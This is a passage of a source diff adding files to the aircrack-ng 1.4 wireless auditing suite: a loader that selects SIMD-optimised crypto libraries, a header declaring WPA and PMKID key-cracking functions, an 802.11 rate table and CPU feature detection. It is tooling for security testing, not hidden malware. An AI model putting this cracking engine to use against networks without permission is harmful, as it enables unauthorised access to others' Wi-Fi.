+	GetModuleFileNameA(hModule, path, MAX_PATH);
+	PathRemoveFileSpecA(path);
+
+	cygwin_conv_path_t flags = CCP_WIN_A_TO_POSIX;
+	char * winpath = (char *) cygwin_create_path(flags, path);
+
+	return winpath;
+}
+#endif
+
+EXPORT int ac_crypto_engine_loader_get_available(void)
+{
+	int simd_flags = SIMD_SUPPORTS_NONE;
+	char library_path[8192];
+
+#if defined(WIN32_PORTABLE)
+	char * working_directory = get_executable_directory();
+#else
+	// are we inside of the build path?
+	char * working_directory = get_current_working_directory();
+#endif
+
+	if (strncmp(working_directory, ABS_TOP_BUILDDIR, strlen(ABS_TOP_BUILDDIR))
+			== 0
+		|| strncmp(working_directory, ABS_TOP_SRCDIR, strlen(ABS_TOP_SRCDIR))
+			   == 0)
+	{
+		// use development paths
+		snprintf(library_path,
+				 sizeof(library_path) - 1,
+				 "%s%s",
+				 LIBAIRCRACK_CRYPTO_PATH,
+				 LT_OBJDIR);
+	}
+	else
+	{
+#if defined(WIN32_PORTABLE)
+		// use the current directory
+		snprintf(library_path, sizeof(library_path) - 1, working_directory);
+#else
+		// use installation paths
+		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
+#endif
+	}
+	free(working_directory);
+
+	// enumerate all DSOs in folder, opening, searching symbols, and testing
+	// them.
+	DIR * dsos = opendir(library_path);
+	if (!dsos) goto out;
+
+	struct dirent * entry = NULL;
+	while ((entry = readdir(dsos)) != NULL)
+	{
+#if defined(__APPLE__)
+		if (string_has_suffix((char *) entry->d_name, ".dylib"))
+#elif defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+		if (string_has_suffix((char *) entry->d_name, ".dll"))
+#else
+		if (string_has_suffix((char *) entry->d_name, ".so"))
+#endif
+		{
+			char * search = strstr(entry->d_name, "aircrack-crypto-");
+
+			if (search)
+			{
+				search += 16;
+
+				int flag;
+				if ((flag = ac_crypto_engine_loader_string_to_flag(search))
+					!= -1)
+					simd_flags |= flag;
+			}
+		}
+	}
+
+	closedir(dsos);
+
+out:
+	return simd_flags;
+}
+
+EXPORT char * ac_crypto_engine_loader_best_library_for(int simd_features)
+{
+	char buffer[8192] = {"aircrack-crypto"};
+	char library_path[8192];
+	char module_filename[8192];
+	size_t buffer_remaining = 8192 - 1;
+
+	if (simd_features & SIMD_SUPPORTS_AVX512F)
+	{
+		strncat(buffer, "-x86-avx512", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_AVX2)
+	{
+		strncat(buffer, "-x86-avx2", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_AVX)
+	{
+		strncat(buffer, "-x86-avx", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_SSE2)
+	{
+		strncat(buffer, "-x86-sse2", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_ASIMD)
+	{
+		strncat(buffer, "-arm-neon", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_NEON)
+	{
+		strncat(buffer, "-arm-neon", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_POWER8)
+	{
+		strncat(buffer, "-ppc-power8", buffer_remaining);
+	}
+	else if (simd_features & SIMD_SUPPORTS_ALTIVEC)
+	{
+		strncat(buffer, "-ppc-altivec", buffer_remaining);
+	}
+
+	char * working_directory
+		= get_current_working_directory(); // or the binary's path?
+
+	if (strncmp(
+			working_directory, ABS_TOP_BUILDDIR, sizeof(ABS_TOP_BUILDDIR) - 1)
+			== 0
+		|| strncmp(
+			   working_directory, ABS_TOP_SRCDIR, sizeof(ABS_TOP_SRCDIR) - 1)
+			   == 0)
+	{
+		// use development paths
+		snprintf(library_path,
+				 sizeof(library_path) - 1,
+				 "%s%s",
+				 LIBAIRCRACK_CRYPTO_PATH,
+				 LT_OBJDIR);
+	}
+	else
+	{
+		// use installation paths
+		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
+	}
+	free(working_directory);
+
+	snprintf(module_filename,
+			 sizeof(module_filename) - 1,
+#if defined(WIN32_PORTABLE)
+			 "%s%s%s",
+#else
+			 "%s/%s%s%s",
+			 library_path,
+#endif
+#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+#if defined(MSYS2)
+			 "msys-",
+#else
+			 "cyg",
+#endif
+#else
+			 "lib",
+#endif
+			 buffer,
+#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
+			 "-1-3-0.dll"
+#elif defined(__APPLE__)
+			 ".dylib"
+#else
+			 ".so"
+#endif
+			 )
+			< 0
+		? abort()
+		: (void) 0;
+
+	return strdup(module_filename);
+}
+
+EXPORT int ac_crypto_engine_loader_string_to_flag(const char * const str)
+{
+	int simd_features = -1;
+
+	if (strncmp(str, "avx512", 6) == 0 || strncmp(str, "x86-avx512", 10) == 0)
+		simd_features = SIMD_SUPPORTS_AVX512F;
+	else if (strncmp(str, "avx2", 4) == 0 || strncmp(str, "x86-avx2", 8) == 0)
+		simd_features = SIMD_SUPPORTS_AVX2;
+	else if (strncmp(str, "avx", 3) == 0 || strncmp(str, "x86-avx", 7) == 0)
+		simd_features = SIMD_SUPPORTS_AVX;
+	else if (strncmp(str, "sse2", 4) == 0 || strncmp(str, "x86-sse2", 8) == 0)
+		simd_features = SIMD_SUPPORTS_SSE2;
+	else if (strncmp(str, "neon", 4) == 0 || strncmp(str, "arm-neon", 8) == 0)
+		simd_features = SIMD_SUPPORTS_NEON;
+	else if (strncmp(str, "asimd", 5) == 0 || strncmp(str, "arm-asimd", 9) == 0)
+		simd_features = SIMD_SUPPORTS_ASIMD;
+	else if (strncmp(str, "altivec", 7) == 0
+			 || strncmp(str, "ppc-altivec", 11) == 0)
+		simd_features = SIMD_SUPPORTS_ALTIVEC;
+	else if (strncmp(str, "power8", 6) == 0
+			 || strncmp(str, "ppc-power8", 10) == 0)
+		simd_features = SIMD_SUPPORTS_POWER8;
+	else if (strncmp(str, "generic", 7) == 0)
+		simd_features = SIMD_SUPPORTS_NONE;
+
+	return simd_features;
+}
+
+EXPORT char * ac_crypto_engine_loader_flags_to_string(int flags)
+{
+	char buffer[8192] = {0};
+
+	if (flags & SIMD_SUPPORTS_AVX512F) strncat(buffer, "avx512 ", 8);
+	if (flags & SIMD_SUPPORTS_AVX2) strncat(buffer, "avx2 ", 6);
+	if (flags & SIMD_SUPPORTS_AVX) strncat(buffer, "avx ", 5);
+	if (flags & SIMD_SUPPORTS_SSE2) strncat(buffer, "sse2 ", 6);
+	if (flags & SIMD_SUPPORTS_NEON) strncat(buffer, "neon ", 6);
+	if (flags & SIMD_SUPPORTS_ASIMD) strncat(buffer, "asimd ", 7);
+	if (flags & SIMD_SUPPORTS_ALTIVEC) strncat(buffer, "altivec ", 9);
+	if (flags & SIMD_SUPPORTS_POWER8) strncat(buffer, "power8 ", 8);
+
+	strncat(buffer, "generic", 8);
+
+	return strdup(buffer);
+}
+
+EXPORT int ac_crypto_engine_loader_load(int flags)
+{
+#ifndef STATIC_BUILD
+	if (flags == -1) flags = ac_crypto_engine_loader_get_available();
+
+	char * module_filename = ac_crypto_engine_loader_best_library_for(flags);
+
+	module = dlopen(module_filename, RTLD_LAZY);
+	if (!module)
+	{
+		fprintf(
+			stderr, "Could not open '%s': %s\n", module_filename, dlerror());
+		free(module_filename);
+		return 1;
+	}
+
+	// resolve symbols needed
+	struct _dso_symbols
+	{
+		char const * sym;
+		void * addr;
+	} dso_symbols[] = {
+		{"ac_crypto_engine_init", (void *) &dso_ac_crypto_engine_init},
+		{"ac_crypto_engine_destroy", (void *) &dso_ac_crypto_engine_destroy},
+		{"ac_crypto_engine_thread_init",
+		 (void *) &dso_ac_crypto_engine_thread_init},
+		{"ac_crypto_engine_thread_destroy",
+		 (void *) &dso_ac_crypto_engine_thread_destroy},
+		{"ac_crypto_engine_set_essid",
+		 (void *) &dso_ac_crypto_engine_set_essid},
+		{"ac_crypto_engine_simd_width",
+		 (void *) &dso_ac_crypto_engine_simd_width},
+		{"ac_crypto_engine_wpa_crack",
+		 (void *) &dso_ac_crypto_engine_wpa_crack},
+		{"ac_crypto_engine_wpa_pmkid_crack",
+		 (void *) &dso_ac_crypto_engine_wpa_pmkid_crack},
+		{"ac_crypto_engine_calc_pke", (void *) &dso_ac_crypto_engine_calc_pke},
+		{"ac_crypto_engine_set_pmkid_salt",
+		 (void *) &dso_ac_crypto_engine_set_pmkid_salt},
+		{"ac_crypto_engine_supported_features",
+		 (void *) &dso_ac_crypto_engine_supported_features},
+		{"ac_crypto_engine_get_pmk", (void *) &dso_ac_crypto_engine_get_pmk},
+		{"ac_crypto_engine_get_ptk", (void *) &dso_ac_crypto_engine_get_ptk},
+		{"ac_crypto_engine_calc_one_pmk",
+		 (void *) &dso_ac_crypto_engine_calc_one_pmk},
+		{"ac_crypto_engine_calc_pmk", (void *) &dso_ac_crypto_engine_calc_pmk},
+		{"ac_crypto_engine_calc_mic", (void *) &dso_ac_crypto_engine_calc_mic},
+
+		{NULL, NULL}};
+
+	struct _dso_symbols * cur = &dso_symbols[0];
+
+	for (; cur->addr != NULL; ++cur)
+	{
+		if (!(*((void **) cur->addr) = dlsym(module, cur->sym)))
+		{
+			fprintf(stderr,
+					"Could not find symbol %s in %s.\n",
+					cur->sym,
+					module_filename);
+			dlclose(module);
+			free(module_filename);
+			return 1;
+		}
+	}
+
+	free(module_filename);
+#endif
+
+	return 0;
+}
+
+EXPORT void ac_crypto_engine_loader_unload(void)
+{
+#ifndef STATIC_BUILD
+	dlclose(module);
+	module = NULL;
+
+	dso_ac_crypto_engine_init = NULL;
+	dso_ac_crypto_engine_destroy = NULL;
+	dso_ac_crypto_engine_thread_init = NULL;
+	dso_ac_crypto_engine_thread_destroy = NULL;
+	dso_ac_crypto_engine_set_essid = NULL;
+	dso_ac_crypto_engine_simd_width = NULL;
+	dso_ac_crypto_engine_wpa_crack = NULL;
+	dso_ac_crypto_engine_calc_pke = NULL;
+	dso_ac_crypto_engine_supported_features = NULL;
+#endif
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/crypto_engine_loader.h Added

@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
+#define AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
+	|| defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import / export semantics.
+#endif
+
+#define STATIC_ASSERT(COND, MSG)                                               \
+	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
+// token pasting madness:
+#define COMPILE_TIME_ASSERT3(X, L)                                             \
+	STATIC_ASSERT(X, static_assertion_at_line_##L)
+#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
+#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
+
+#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
+	|| defined(__INTEL_COMPILER)
+#define likely(x) __builtin_expect(!!(x), 1)
+#define unlikely(x) __builtin_expect(!!(x), 0)
+#else
+#define likely(x) (x)
+#define unlikely(x) (x)
+#endif
+
+#include <stdint.h>
+#include <stddef.h>
+
+#include "aircrack-crypto/crypto_engine.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * Returns an integer bit representation of the available SIMD
+ * Aircrack-ng Crypto Engine modules for the runtime machine.
+ *
+ * @return Integer bit representation of SIMD flags.
+ */
+IMPORT int ac_crypto_engine_loader_get_available(void);
+
+/**
+ * Returns an absolute path to the best Aircrack-ng Crypto
+ * library to load. The caller \b MUST deallocate the
+ * returned memory using \a free!
+ *
+ * @param simd_features Integer bit representation of SIMD flags.
+ * @return character sequence that must be deallocated by caller.
+ */
+IMPORT char * ac_crypto_engine_loader_best_library_for(int simd_features);
+
+/// Produces an integer bit representation of a SIMD character sequence.
+IMPORT int ac_crypto_engine_loader_string_to_flag(const char * const str);
+
+/**
+ * Produces a character representation of the SIMD integer flags.
+ *
+ * All selected bits of \a flags are converted; producing a space
+ * separated string representation.
+ *
+ * Caller \b MUST deallocate the returned value using \a free
+ *
+ * @param flags Integer bit representation of SIMD flags.
+ * @return character sequence that must be deallocated by caller.
+ */
+IMPORT char * ac_crypto_engine_loader_flags_to_string(int flags);
+
+/// Loads the specified Aircrack-ng Crypto Engine specified by \a flags.
+/// Does nothing in a static build.
+IMPORT int ac_crypto_engine_loader_load(int flags);
+
+/// Unloads the Aircrack-ng Crypto Engine. Does nothing in a static build.
+IMPORT void ac_crypto_engine_loader_unload(void);
+
+// Symbols defined by the loader.
+
+extern int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine);
+extern void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine);
+extern void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
+											  const uint8_t * essid);
+extern int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
+											   int threadid);
+extern void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
+												   int threadid);
+extern int (*dso_ac_crypto_engine_simd_width)(void);
+extern int (*dso_ac_crypto_engine_wpa_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t eapol[256],
+	uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	uint8_t keyver,
+	const uint8_t cmpmic[20],
+	int nparallel,
+	int threadid);
+extern int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	const uint8_t pmkid[32],
+	int nparallel,
+	int threadid);
+extern void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
+												   const uint8_t bssid[6],
+												   const uint8_t stmac[6],
+												   int threadid);
+extern void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
+											 const uint8_t bssid[6],
+											 const uint8_t stmac[6],
+											 const uint8_t anonce[32],
+											 const uint8_t snonce[32],
+											 int threadid);
+extern int (*dso_ac_crypto_engine_supported_features)(void);
+extern uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
+												 int threadid,
+												 int index);
+extern uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
+												 int threadid,
+												 int index);
+extern void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
+												 const uint8_t * essid,
+												 uint32_t essid_length,
+												 uint8_t pmk[40]);
+extern void (*dso_ac_crypto_engine_calc_pmk)(
+	ac_crypto_engine_t * engine,
+	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	int nparallel,
+	int threadid);
+extern void (*dso_ac_crypto_engine_calc_mic)(
+	ac_crypto_engine_t * engine,
+	const uint8_t eapol[256],
+	const uint32_t eapol_size,
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	const uint8_t keyver,
+	const int vectorIdx,
+	const int threadid);
+
+// End symbols defined by the loader.
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif // AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/mcs_index_rates.c Added

@@ -0,0 +1,180 @@
+/*
+ * Functions and macros to obtain 802.11n or ac rates based on MCS index
+ *
+ * Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#include "mcs_index_rates.h"
+#include <stdint.h>
+
+// http://mcsindex.com/
+
+// 20/40/80/160MHz -> (0, 1, 2, 3)
+// 0: long GI, 1: short GI
+// amount of spatial streams (minus 1)
+// MCS index
+const float MCS_index_rates[4][2][8][10] = {
+	// 20MHz
+	{// Long GI
+	 {// Spatial streams
+	  {6.5, 13.0, 19.5, 26, 39, 52, 58.5, 65, 78, 0},
+	  {13, 26, 39, 52, 78, 104, 117, 130, 156, 0},
+	  {19.5, 39, 58.5, 78, 117, 156, 175.5, 195, 234, 260},
+	  {26, 52, 78, 104, 156, 208, 134, 260, 312, 0}},
+	 // Short GI
+	 {{7.2, 14.4, 21.7, 28.9, 43.3, 57.8, 65, 72.2, 86.7, 0},
+	  {14.4, 28.9, 43.3, 57.8, 86.7, 115.6, 130.3, 144.4, 173.3, 0},
+	  {21.7, 43.3, 65, 86.7, 130, 173.3, 195, 216.7, 260, 288.9},
+	  {28.9, 57.8, 56.7, 115.6, 173.3, 231.1, 260, 288.9, 346.7, 0}}},
+	// 40MHz
+	{// Long GI
+	 {{13.5, 27, 40.5, 54, 81, 108, 121.5, 135, 162, 180},
+	  {27, 54, 81, 108, 162, 216, 243, 270, 324, 360},
+	  {40.5, 81, 121.5, 162, 243, 324, 364.5, 405, 486, 540},
+	  {54, 108, 162, 216, 324, 432, 486, 540, 648, 720}},
+	 // Short GI
+	 {{15, 30, 45, 60, 90, 120, 135, 150, 180, 200},
+	  {30, 60, 90, 120, 180, 240, 270, 300, 360, 400},
+	  {45, 90, 135, 180, 270, 360, 405, 450, 540, 600},
+	  {60, 120, 180, 240, 360, 480, 540, 600, 720, 800}}},
+	// 80MHz
+	{// Long GI
+	 {{29.3, 58.5, 87.8, 117, 175.5, 234, 263.3, 292.5, 351, 390},
+	  {58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
+	  {87.8, 175.5, 263.3, 351, 526.5, 702, 0, 877.5, 1053, 1170},
+	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
+	  {146.3, 292.5, 438.8, 585, 877.5, 1170, 1316.3, 1462.5, 1755, 1950},
+	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
+	  {204.8, 409.5, 614.3, 819, 1228.5, 1638, 0, 2047.5, 2457, 2730},
+	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120}},
+	 // Short GI
+	 {{32.5, 65, 97.5, 130, 195, 260, 292.5, 325, 390, 433.3},
+	  {65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
+	  {97.5, 195, 292.5, 390, 585, 780, 0, 975, 1170, 1300},
+	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
+	  {162.5, 325, 487.5, 650, 975, 1300, 1462.5, 1625, 1950, 2166.7},
+	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
+	  {227.5, 455, 682.5, 910, 1365, 1820, 0, 2275, 2730, 3033.3},
+	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7}}},
+	// 160MHz
+	{// Long GI
+	 {{58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
+	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
+	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
+	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120},
+	  {292.5, 585, 877.5, 1170, 1755, 2340, 2632.5, 2925, 3510, 3900},
+	  {351, 702, 1053, 1404, 2106, 2808, 3159, 3510, 4212, 4680},
+	  {409.5, 819, 1228.5, 1638, 2457, 3276, 3685.5, 4095, 4914, 5460},
+	  {468, 936, 1404, 1872, 2808, 3744, 4212, 4680, 5616, 6240}},
+	 // Short GI
+	 {{65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
+	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
+	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
+	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7},
+	  {325, 650, 975, 1300, 1950, 2600, 2925, 3250, 3900, 4333.3},
+	  {390, 780, 1170, 1560, 2340, 3120, 3510, 3900, 4680, 5200},
+	  {455, 910, 1365, 1820, 2730, 3640, 4095, 4550, 5460, 6066.7},
+	  {520, 1040, 1560, 2080, 3120, 4160, 4680, 5200, 6240, 6933.3}}}};
+
+float get_80211n_rate(const int width,
+					  const int is_short_GI,
+					  const int mcs_index)
+{
+	// Check MCS Index
+	if (mcs_index < 0 || mcs_index > 31)
+	{
+		return -1.0;
+	}
+	uint8_t amount_ss = mcs_index / 8;
+	uint8_t mcs_idx = mcs_index % 8;
+
+	// Rate index
+	uint8_t width_idx = 0;
+	switch (width)
+	{
+		case 20:
+			width_idx = 0;
+			break;
+		case 40:
+			width_idx = 1;
+			break;
+		default:
+			return -1.0;
+	}
+
+	// Short GI?
+	uint8_t sgi = !!is_short_GI;
+
+	return MCS_index_rates[width_idx][sgi][amount_ss][mcs_idx];
+}
+
+float get_80211ac_rate(const int width,
+					   const int is_short_GI,
+					   const int mcs_idx,
+					   const int amount_ss)
+{
+	// Check MCS Index
+	if (mcs_idx < 0 || mcs_idx > 9)
+	{
+		return -1.0;
+	}
+
+	// Rate index
+	uint8_t width_idx = 0;
+	switch (width)
+	{
+		case 20:
+			width_idx = 0;
+			break;
+		case 40:
+			width_idx = 1;
+			break;
+		case 80:
+			width_idx = 2;
+			break;
+		case 160:
+			width_idx = 3;
+			break;
+		default:
+			return -1.0;
+	}
+
+	// Check amount of spatial streams
+	if (amount_ss < 1 || amount_ss > 8)
+	{
+		return -1.0;
+	}
+
+	// Short GI?
+	uint8_t sgi = !!is_short_GI;
+
+	return MCS_index_rates[width_idx][sgi][amount_ss - 1][mcs_idx];
+}

aircrack-ng-1.4.tar.gz/src/aircrack-util/mcs_index_rates.h Added

@@ -0,0 +1,54 @@
+/*
+ * Functions and macros to obtain 802.11n or ac rates based on MCS index
+ *
+ * Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef MCS_INDEX_RATES_H
+#define MCS_INDEX_RATES_H
+
+// http://mcsindex.com/
+
+// 20/40/80/160MHz -> (0, 1, 2, 3)
+// 0: long GI, 1: short GI
+// amount of spatial streams (minus 1)
+// MCS index
+extern const float MCS_index_rates[4][2][8][10];
+
+float get_80211n_rate(const int width,
+					  const int is_short_GI,
+					  const int mcs_index);
+float get_80211ac_rate(const int width,
+					   const int is_short_GI,
+					   const int mcs_idx,
+					   const int amount_ss);
+
+#endif // MCS_INDEX_RATES_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/simd_cpuid.c Added

@@ -0,0 +1,666 @@
+/*
+ * CPU/SIMD identification routines by Len White <lwhite@nrw.ca>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <string.h>
+#if defined(__i386__) || defined(__x86_64__)
+#define _X86 1
+#include <cpuid.h>
+#elif defined(__arm__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <asm/hwcap.h>
+#endif
+#endif /* __arm__ */
+#ifdef __linux__
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <linux/sysctl.h>
+#endif
+#if defined(__FreeBSD__) || defined(__OpenBSD__)
+#include <sys/user.h>
+#include <sys/sysctl.h>
+#endif
+#include <dirent.h>
+
+#include "simd_cpuid.h"
+#include "common.h"
+
+#ifdef __linux__
+#define CPUFREQ_CPU0C "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
+#define CPUFREQ_CPU0M "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
+#define CORETEMP_PATH "/sys/devices/platform/coretemp.0/"
+int cpuid_readsysfs(const char * file);
+int cpuid_findcpusensorpath(const char * path);
+#endif
+
+struct _cpuinfo cpuinfo = {0, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0.0, NULL};
+
+//
+// Until better support for other arch's is added an ifdef is needed
+//
+unsigned long
+getRegister(const unsigned int val, const char from, const char to)
+{
+	unsigned long mask = (1 << (to + 1)) - 1;
+
+	if (to == 31) return val >> from;
+
+	return (val & mask) >> from;
+}
+
+void sprintcat(char * dest, const char * src, size_t len)
+{
+	if (strlen(dest)) (void) strncat(dest, ",", len);
+
+	(void) strncat(dest, src, len);
+}
+
+int is_dir(const char * dir)
+{
+	struct stat sb;
+
+	if (!stat(dir, &sb)) return S_ISDIR(sb.st_mode);
+
+	return 0;
+}
+
+unsigned long GetCacheTotalLize(unsigned ebx, unsigned ecx)
+{
+	unsigned long LnSz, SectorSz, WaySz, SetSz;
+	LnSz = getRegister(ebx, 0, 11) + 1;
+	SectorSz = getRegister(ebx, 12, 21) + 1;
+	WaySz = getRegister(ebx, 22, 31) + 1;
+	SetSz = getRegister(ecx, 0, 31) + 1;
+	return (SetSz * WaySz * SectorSz * LnSz);
+}
+
+//
+// Return maximum SIMD size for the CPU.
+// AVX512F		  		= 16 / 512 bit
+// AVX2		  		= 8 / 256 bit
+// SSE2-4.2 + AVX / NEON	= 4 / 128 bit
+// MMX / CPU Fallback		= 1 /  64 bit
+//
+int cpuid_simdsize(int viewmax)
+{
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, NULL);
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 16))
+		{ // AVX512F
+			return 16;
+		}
+		else if (ebx & (1 << 5))
+		{ // AVX2
+			return 8;
+		}
+	}
+
+	__cpuid(1, eax, ebx, ecx, edx);
+
+	if (edx & (1 << 26)) // SSE2
+		return 4;
+
+#elif defined(__arm__) && defined(HAS_AUXV)
